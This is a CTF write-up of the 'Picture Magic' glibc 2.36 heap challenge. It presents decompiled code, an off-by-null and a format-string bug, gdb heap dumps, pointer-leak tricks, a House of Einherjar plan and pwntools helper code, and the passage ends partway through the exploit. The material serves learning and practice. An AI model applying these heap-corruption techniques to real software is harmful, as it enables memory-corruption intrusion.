Picture Magic
31 minutes to read
We have a 64-bit binary called picture_magic
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
If we execute it, we need to enter a name and then we have this menu:
$ ./picture_magic
Welcome to...
βββββββ βββ βββββββββββββββββββ ββββββββββ ββββββββ ββββ ββββ ββββββ βββββββ βββ ββββββββββ
βββββββββββββββββββββββββββββββ βββββββββββββββββββ βββββ βββββββββββββββββββββ ββββββββββββββ
ββββββββββββββ βββ βββ βββββββββββββββββ ββββββββββββββββββββββ ββββββββββ βββ
βββββββ ββββββ βββ βββ βββββββββββββββββ ββββββββββββββββββββββ βββββββββ βββ
βββ βββββββββββ βββ ββββββββββββ βββββββββββ βββ βββ ββββββ ββββββββββββββββββββββββββ
βββ βββ βββββββ βββ βββββββ βββ βββββββββββ βββ ββββββ βββ βββββββ βββ ββββββββββ
Your all-in-one tool for creating, viewing, modifying and selling digital pictures on the internet. Let your creativity overflow!
Before creating your masterpiece, please enter your artist name: asdf
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
->
Reverse engineering
It is a typical heap challenge. The reverse engineering process is quite simple, although it is handy to define a structure like this:
typedef struct {
unsigned int width;
unsigned int height;
char* data;
} picture_t;
This is the main
function:
int main() {
int option;
long in_FS_OFFSET;
char name[56];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
fwrite("Before creating your masterpiece, please enter your artist name: ", 1, 0x41, stdout);
fgets(name, 56, stdin);
do {
option = menu();
switch (option) {
default:
puts("Invalid choice!");
break;
case 1:
create_picture();
break;
case 2:
transform_picture();
break;
case 3:
show_picture();
break;
case 4:
sell_picture();
break;
case 5:
fwrite("New artist name: ", 1, 0x11, stdout);
fgets(name, 56, stdin);
break;
case 6:
puts("Goodbye!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return 0;
}
} while (true);
}
The only special thing is that we have the chance to modify the name
variable at any time, which is a 56-byte buffer.
Allocation function
The first option is for creating pictures:
void create_picture() {
int index;
picture_t *p;
index = next_free();
if (index == -1) {
puts("Running low on memory... please make space by deleting stored pictures!");
} else {
p = (picture_t *) malloc(0x4f8);
fwrite("Width: ", 1, 7, stdout);
__isoc99_scanf("%u", &p->width);
getchar();
fwrite("Height: ", 1, 8, stdout);
__isoc99_scanf("%u", &p->height);
getchar();
if (((p->height * p->width < 0x4f1) && (p->width < 0x4f1)) && (p->height < 0x4f1)) {
puts("\nReading picture into buffer:");
puts("================================");
read_picture(p);
puts("================================");
printf("Successfully read picture!\nPicture has been assigned index %d.\n", index);
pictures[index] = p;
} else {
printf("\nChosen size of (%u, %u) cannot be used!\n", p->width, p->height);
printf("Picture must not exceed %d bytes!\n", 0x4f0);
free(p);
}
}
}
Basically, the program allocates a chunk of size 0x4f8
and allows us to set a width and a height for the image. Then, it is checked that p->width
, p->height
and their product don’t exceed 0x4f0
. If so, the program calls read_picture
. Otherwise, it shows an error.
Also, notice the next_free
function, which looks for an empty slot in the pictures
global array:
int next_free() {
int index;
index = 0;
while (true) {
if (3 < index) {
return -1;
}
if (pictures[index] == NULL) break;
index++;
}
return index;
}
This is relevant because we only have space for 4 pictures.
Read function
This is read_picture
:
void read_picture(picture_t *p) {
char c;
int cc;
uint row;
uint column;
row = 0;
do {
if (p->height <= row) {
p->data[p->width * p->height] = '\0';
return;
}
for (column = 0; column < p->width; column++) {
cc = getchar();
c = (char) cc;
if ((c < '\0') || (c == '\0')) {
puts("Invalid character detected!");
// WARNING: Subroutine does not return
exit(0);
}
if (c == '\n') {
for (; column < p->width - 1; column++) {
p->data[p->width * row + column] = ' ';
}
}
p->data[p->width * row + column] = c;
}
p->data[p->width * (row + 1) - 1] = '\n';
row++;
} while (true);
}
It might look a bit weird, but it allows us to enter some data for each row (byte by byte). Some other considerations:
- If we hit
ENTER
(\n
), the program will fill the remaining space in the row with white spaces and a new line character at last - The program will add a null byte at the end of the picture
Here we have a subtle (but powerful) vulnerability, as we will see later. The thing is that, if we create a picture with p->width = 0x4f0
and p->height = 1
, the program will allow us to enter some data, fill the rest with white spaces and a new line character at the end. But there will also happen that p->data[0x4f0 * 1] = '\0'
. This index is out of bounds, so we have an overflow by a null byte (also known as off-by-null).
For the moment, let’s continue analyzing functions.
Edit function
This is not actually a simple way to edit pictures, but here we have it:
void transform_picture() {
uchar size;
int row;
int column;
int index;
char type[5];
picture_t *p;
index = get_index();
if (((index < 0) || (3 < index)) || (pictures[index] == NULL)) {
puts("Invalid picture index!");
} else {
p = pictures[index];
fwrite("Transformation type (mul/add/sub/div): ", 1, 0x27, stdout);
fgets(type, 5, stdin);
if (((type[0] == 'm') || (type[0] == 'a')) || ((type[0] == 's' || (type[0] == 'd')))) {
fwrite("Transformation size: ", 1, 0x15, stdout);
__isoc99_scanf("%hhu", &size);
getchar();
fwrite("Transformation row (-1 for all): ", 1, 0x21, stdout);
__isoc99_scanf("%d", &row);
getchar();
if ((row == -1) || ((uint) row < p->height)) {
fwrite("Transformation column (-1 for all): ", 1, 0x24, stdout);
__isoc99_scanf("%d", &column);
getchar();
if ((column == -1) || ((uint) column < p->width)) {
transform_row(p, size, row, column, type[0]);
} else {
puts("Invalid column, out of range!");
}
} else {
puts("Invalid row, out of range!");
}
} else {
puts("Invalid transformation type!");
}
}
}
This function asks for an index (0
to 3
) using get_index
:
int get_index() {
int index;
fwrite("Picture index: ", 1, 0xf, stdout);
__isoc99_scanf("%d", &index);
getchar();
return index;
}
And then asks for an operation (add
, sub
, mul
, div
), a size (this variable name should not be called as such, it makes no sense), a row and a column to apply the transformation. Then, transform_picture
will call transform_row
, this one calls transform_column
and finally, transform_final
:
void transform_final(picture_t *p, char size, int r, int c, char type) {
if (type == 'a') {
p->data[p->width * r + c] = p->data[p->width * r + c] + size;
} else if (type == 's') {
p->data[p->width * r + c] = p->data[p->width * r + c] - size;
} else if (type == 'm') {
p->data[p->width * r + c] = p->data[p->width * r + c] * size;
} else if (type == 'd') {
p->data[p->width * r + c] = p->data[p->width * r + c] / size;
}
if (p->data[p->width * r + c] == '\0') {
p->data[p->width * r + c] = ' ';
}
}
void transform_col(picture_t *p, char size, int row, int column, char type) {
uint c;
if (column == -1) {
for (c = 0; c < p->width; c++) {
transform_final(p, size, row, c, type);
}
} else {
transform_final(p, size, row, column, type);
}
}
void transform_row(picture_t *p, char size, int row, int column, char type) {
uint r;
if (row == -1) {
for (r = 0; r < p->height; r++) {
transform_col(p, size, r, column, type);
}
} else {
transform_col(p, size, row, column, type);
}
}
One thing to notice is that we cannot have null bytes in our images. Every null byte that appears after the transformation will be replaced by a white space…
Free function
This is the function to delete (sell) pictures (sell_picture
):
void sell_picture() {
int index;
int ret;
size_t index_newline;
char price[4];
char yn[4];
picture_t *p;
index = get_index();
if (((index < 0) || (3 < index)) || (pictures[index] == NULL)) {
puts("Invalid picture index!");
} else {
p = pictures[index];
print_picture(p);
fwrite("\nHow much do you want to sell the picture for? ", 1, 0x2f, stdout);
fgets(price, 4, stdin);
index_newline = strcspn(price, "\n");
price[index_newline] = '\0';
ret = strcmp(price, "0");
if (ret != 0) {
printf("\nPicture is put up for sale at the price of $");
printf(price);
puts(".\n");
sleep(1);
puts(".");
sleep(1);
puts(".");
sleep(1);
puts(".");
sleep(1);
puts("\nNo-one wants to buy your picture :\'(");
fwrite("Do you want to throw it away instead? (y/N) ", 1, 0x2c, stdout);
fgets(yn, 3, stdin);
if ((yn[0] != 'y') && (yn[0] != 'Y')) {
return;
}
}
puts("You toss the picture away.");
pictures[index] = NULL;
free(p);
}
}
Here we have a Format String vulnerability we can input any price and it will be used as the first argument of printf
. The limitation is that we only have 3
bytes, since fgets(price, 4, stdin)
only reads 3
bytes (plus new line character). Therefore, this vulnerability can only be used to leak a stack address:
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 1
Width: 0
Height: 0
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 0.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 4
Picture index: 0
================================
================================
How much do you want to sell the picture for? %p
Picture is put up for sale at the price of $0x7ffcffdca640.
.
.
.
No-one wants to buy your picture :'(
Do you want to throw it away instead? (y/N)
This will be useful to compute the absolute address of name
at runtime.
Show function
There is also a function fo show a picture, but this time it is irrelevant for exploitation:
void show_picture() {
int index;
index = get_index();
if (((index < 0) || (3 < index)) || (pictures[index] == NULL)) {
puts("Invalid picture index!");
} else {
print_picture(pictures[index]);
}
}
Exploit strategy
In order to plan the exploit strategy, we must take into account that the binary uses Glibc 2.36 (it is provided in the challenge):
$ ./ld-2.36.so ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.36-0ubuntu4) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
This is a modern Glibc version, so it has a lot of exploits patched. Still, we can take a look at how2heap and see that there are some exploits that work, altough there are some bypasses needed.
Unsorted Bin
In this challenge, we can only allocate chunks with malloc(0x4f8)
. So, we don’t have any control over the size of the chunks. Moreover, when these chunks are freed, they go directly into the Unsorted Bin, because their size is bigger than the one accepted by Tcache. For example:
$ gdb -q picture_magic
Reading symbols from picture_magic...
(No debugging symbols found in picture_magic)
gef> run
Starting program: ./picture_magic
warning: Expected absolute pathname for libpthread in the inferior, but got ./libc.so.6.
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Welcome to...
βββββββ βββ βββββββββββββββββββ ββββββββββ ββββββββ ββββ ββββ ββββββ βββββββ βββ ββββββββββ
βββββββββββββββββββββββββββββββ βββββββββββββββββββ βββββ βββββββββββββββββββββ ββββββββββββββ
ββββββββββββββ βββ βββ βββββββββββββββββ ββββββββββββββββββββββ ββββββββββ βββ
βββββββ ββββββ βββ βββ βββββββββββββββββ ββββββββββββββββββββββ βββββββββ βββ
βββ βββββββββββ βββ ββββββββββββ βββββββββββ βββ βββ ββββββ ββββββββββββββββββββββββββ
βββ βββ βββββββ βββ βββββββ βββ βββββββββββ βββ ββββββ βββ βββββββ βββ ββββββββββ
Your all-in-one tool for creating, viewing, modifying and selling digital pictures on the internet. Let your creativity overflow!
Before creating your masterpiece, please enter your artist name: asdf
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 1
Width: 0
Height: 0
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 0.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 1
Width: 0
Height: 0
Reading picture into buffer:
================================
================================
Successfully read picture!
Picture has been assigned index 1.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> 4
Picture index: 0
================================
================================
How much do you want to sell the picture for? 0
You toss the picture away.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> heap chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
----------------------------------------------------------------------------------------------------------------------------- Tcachebins for arena 'main_arena' -----------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in tcache.
------------------------------------------------------------------------------------------------------------------------------ Fastbins for arena 'main_arena' ------------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in fastbin.
---------------------------------------------------------------------------------------------------------------------------- Unsorted Bin for arena 'main_arena' ----------------------------------------------------------------------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
----------------------------------------------------------------------------------------------------------------------------- Small Bins for arena 'main_arena' -----------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
----------------------------------------------------------------------------------------------------------------------------- Large Bins for arena 'main_arena' -----------------------------------------------------------------------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
These freed chunks hold two addresses to Glibc (main_arena
) in pointers fd
and bk
:
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
gef> x/gx 0x00007ffff7df6cc0
0x7ffff7df6cc0 <main_arena+96>: 0x000055555555cc90
Moreover, the next chunk’s PREV_INUSE
flag is updated to 0
, and the prev_size
field is filled with 0x500
. This is important because the heap allocator will try to consolidate Unsorted Bin chunks between each other or with the top chunk when possible. For instance, if I free the second picture, all the heap will be consolidated with the top chunk:
gef> continue
Continuing.
4
Picture index: 1
================================
================================
How much do you want to sell the picture for? 0
You toss the picture away.
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x20d70, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000020d71 | ........q....... | <- top
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
...
Notice that the data inside the chunks is not removed…
There is also a way to “sort” an Unsorted Bin chunk into Large Bin. We can do it by calling malloc_consolidate
, and this function is called by scanf
if it has to process a long string. Let’s see an example (starting as before):
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
Now we enter a large string (more than 1024 bytes):
gef> continue
Continuing.
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Invalid choice!
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df70f0, bk=0x7ffff7df70f0, fd_nextsize=0x55555555c290, bk_nextsize=0x55555555c290) <- largebins[idx=67,sz=0x500-0x540][1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x303030356565656c, bk=0x3030303030303030) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
large_bins[idx=67, size=0x500-0x540, @0x7ffff7df7100]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df70f0, bk=0x7ffff7df70f0, fd_nextsize=0x55555555c290, bk_nextsize=0x55555555c290)
[+] Found 1 chunks in 1 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- largebins[idx=67,sz=0x500-0x540][1/1]
0x55555555c2a0: 0x00007ffff7df70f0 0x00007ffff7df70f0 | .p.......p...... |
0x55555555c2b0: 0x000055555555c290 0x000055555555c290 | ..UUUU....UUUU.. |
0x55555555c2c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 76 lines, 0x4c0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x3030303030303030 0x3030303030303030 | 0000000000000000 |
* 175 lines, 0xaf0 bytes
0x55555555d7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 79 lines, 0x4f0 bytes
0x55555555dca0: 0x0000000000000000 0x000000000001f361 | ........a....... |
...
This ability is not actually needed in the exploit, but it is worth to have it documented.
House of Einherjar (Null-byte poison)
Remember from read_picture
that we have an off-by-null vulnerability. In fact, we can exploit it to modify the adjacent chunk’s metadata (specifically, set PREV_INUSE
to 0
).
This is the only bug we have. In an easier challenge, one could simply perform a null byte poisoning attack (like in Dream Diary: Chapter 3) and finish. Nevertheless, this program does not allow us to write null bytes where we want. For instance, we will need to play with the prev_size
field in order to exploit a kind of Unsafe Unlink exploit, but we can’t simply add 0x0000000000000500
, because all null bytes will be replaced by white spaces.
At this point, the only thing I could think is to use negative integers, because they are expressed using the two’s complement, so for example, -1
will be 0xffffffffffffffff
. This way, we can enter any negative prev_size
and still try to perform a null byte poisoning attack.
The best idea is to use the name
buffer on the stack to write our fake chunk, since here we don’t have any bad characters limitation. Therefore, we also need to get a heap address leak in order to compute relative offsets (for negative prev_size
).
Exploit development
First of all, we will use these helper functions:
def create(width: int, height: int, data: bytes = b'') -> int:
p.sendlineafter(b'-> ', b'1')
p.sendlineafter(b'Width: ', str(width).encode())
p.sendlineafter(b'Height: ', str(height).encode())
p.sendlineafter(b'================================\n', data)
p.recvuntil(b'Picture has been assigned index ')
return int(p.recvuntil(b'.', drop=True).decode())
def transform(index: int, size: int, row: int, column: int, operation: bytes):
p.sendlineafter(b'-> ', b'2')
p.sendlineafter(b'Picture index: ', str(index).encode())
p.sendlineafter(b'Transformation type (mul/add/sub/div): ', operation)
p.sendlineafter(b'Transformation size: ', str(size).encode())
p.sendlineafter(b'Transformation row (-1 for all): ', str(row).encode())
p.sendlineafter(b'Transformation column (-1 for all): ', str(column).encode())
def show(index: int) -> bytes:
p.sendlineafter(b'-> ', b'3')
p.sendlineafter(b'Picture index: ', str(index).encode())
p.recvuntil(b'================================\n')
return p.recvuntil(b'================================\n', drop=True)
def sell(index: int, price: bytes = b'0', yn: bytes = b'y') -> bytes:
p.sendlineafter(b'-> ', b'4')
p.sendlineafter(b'Picture index: ', str(index).encode())
p.sendlineafter(b'How much do you want to sell the picture for? ', price)
if price == b'0':
return b''
p.recvuntil(b'Picture is put up for sale at the price of $')
sale = p.recvuntil(b'.', drop=True)
p.sendlineafter(b'Do you want to throw it away instead? (y/N) ', yn)
return sale
def change(name: bytes):
p.sendlineafter(b'-> ', b'5')
p.sendlineafter(b'New artist name: ', name)
Leaking memory addresses
The first leak we can get is the stack address leak, and find the position of name
using relative offsets:
def main():
p.sendlineafter(b'Before creating your masterpiece, please enter your artist name:', b'asdf')
create(0, 0)
create(0, 0)
create(0, 0)
create(0, 0)
name_addr = int(sell(0, b'%p').decode(), 16) + 0x2160
p.info(f'Name address: {hex(name_addr)}')
Next, there is a hidden way to leak Glibc and heap pointers. Remember create_picture
, actually, this piece of code:
fwrite("Width: ", 1, 7, stdout);
__isoc99_scanf("%u", &p->width);
getchar();
fwrite("Height: ", 1, 8, stdout);
__isoc99_scanf("%u", &p->height);
getchar();
if (((p->height * p->width < 0x4f1) && (p->width < 0x4f1)) && (p->height < 0x4f1)) {
puts("\nReading picture into buffer:");
puts("================================");
read_picture(p);
puts("================================");
printf("Successfully read picture!\nPicture has been assigned index %d.\n", index);
pictures[index] = p;
} else {
printf("\nChosen size of (%u, %u) cannot be used!\n", p->width, p->height);
printf("Picture must not exceed %d bytes!\n", 0x4f0);
free(p);
}
If the picture size does not meet the condition, an error will be printed out. The relevant thing is that the values of p->width
and p->height
are still shown in the error. Therefore, if we simply write any letter in scanf
, nothing will change in p->width
and p->height
fields. So, imagine that we are overwriting a freed chunk, we would have and fd
pointer to main_arena
(let’s say 0x7ffff7df6cc0
). This means that p->height = 0x7fff
and p->width = 0xf7df6cc0
, and that way we can get a leak. Same example as before:
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0) <- unsortedbins[1/1]
Chunk(addr=0x55555555c790, size=0x500, flags=, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555cc90, size=0x20370, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7ffff7df6cd0]: fd=0x55555555c290, bk=0x55555555c290
-> Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x7ffff7df6cc0, bk=0x7ffff7df6cc0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
gef> visual-heap
0x55555555c000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55555555c010: 0x0000000000000000 0x0000000000000000 | ................ |
* 39 lines, 0x270 bytes
0x55555555c290: 0x0000000000000000 0x0000000000000501 | ................ | <- unsortedbins[1/1]
0x55555555c2a0: 0x00007ffff7df6cc0 0x00007ffff7df6cc0 | .l.......l...... |
0x55555555c2b0: 0x0000000000000000 0x0000000000000000 | ................ |
* 77 lines, 0x4d0 bytes
0x55555555c790: 0x0000000000000500 0x0000000000000500 | ................ |
0x55555555c7a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 78 lines, 0x4e0 bytes
0x55555555cc90: 0x0000000000000000 0x0000000000020371 | ........q....... | <- top
0x55555555cca0: 0x0000000000000000 0x0000000000000000 | ................ |
* 8245 lines, 0x20350 bytes
Now we try to create another picture and write letters instead of numbers:
gef> continue
Continuing.
1
Width: a
Height: a
Chosen size of (4158614720, 32767) cannot be used!
Picture must not exceed 1264 bytes!
+------------------------------+
| Picture Magic |
+------------------------------+
| 1. Create picture |
| 2. Transform picture |
| 3. Show picture |
| 4. Sell picture |
| 5. Change artist name |
| 6. Exit |
+------------------------------+
-> ^C
gef> p/x 4158614720ul | (32767ul << 32)
$1 = 0x7ffff7df6cc0
gef> x/gx 4158614720ul | (32767ul << 32)
0x7ffff7df6cc0 <main_arena+96>: 0x000055555555cc90
Similarly, we can get a heap address, but we need to have another Unsorted Bin chunk that is consolidated with the top chunk, so that the information of the fd
pointer is not overwritten. For this, we can do the following:
- Allocate all 4 pictures (
0
,1
,2
and3
)
gef> chunks
Chunk(addr=0x55555555c000, size=0x290, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
Chunk(addr=0x55555555c290, size=0x500, flags=PREV_INUSE, fd=0x00055555555c, bk=0x000000000000)
